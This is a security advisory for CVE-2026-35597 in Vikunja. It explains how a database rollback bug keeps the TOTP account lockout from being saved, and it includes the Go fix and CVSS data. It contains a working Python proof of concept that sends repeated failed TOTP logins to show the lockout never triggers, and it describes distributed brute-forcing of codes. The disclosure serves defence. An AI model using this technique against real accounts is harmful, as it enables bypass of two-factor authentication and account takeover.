Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout
The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.
When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:
```go
if err != nil {
if user2.IsErrInvalidTOTPPasscode(err) {
user2.HandleFailedTOTPAuth(s, user)
}
_ = s.Rollback()
return err
}
```
HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.
The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.
Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).
```python
import requests, time, pyotp
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
json={"passcode": totp.now()})
# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}") # 200 - account was never locked
```
Output:
```
Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200
```
The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.
An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.
Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:
```go
// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
_ = lockoutSession.Rollback()
return
}
_ = lockoutSession.Commit()
```
*Found and reported by [aisafe.io](https://aisafe.io)*
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE-2026-35597 is classified as CWE-307: Improper Restriction of Excessive Authentication Attempts. Repeated login attempts are not limited, leaving credentials open to brute forcing.
CVE-2026-35597 is recorded against 2 packages.
Published on 25 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)
code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-307: Improper Restriction of Excessive Authentication Attempts) in other software:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| code.vikunja.io/api | — | — |
| vikunja | — | 2.3.0 |
References
Similar Threats
Vulnerability Monitoring
CVE-2026-35597 is rated CVSS 5.9 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.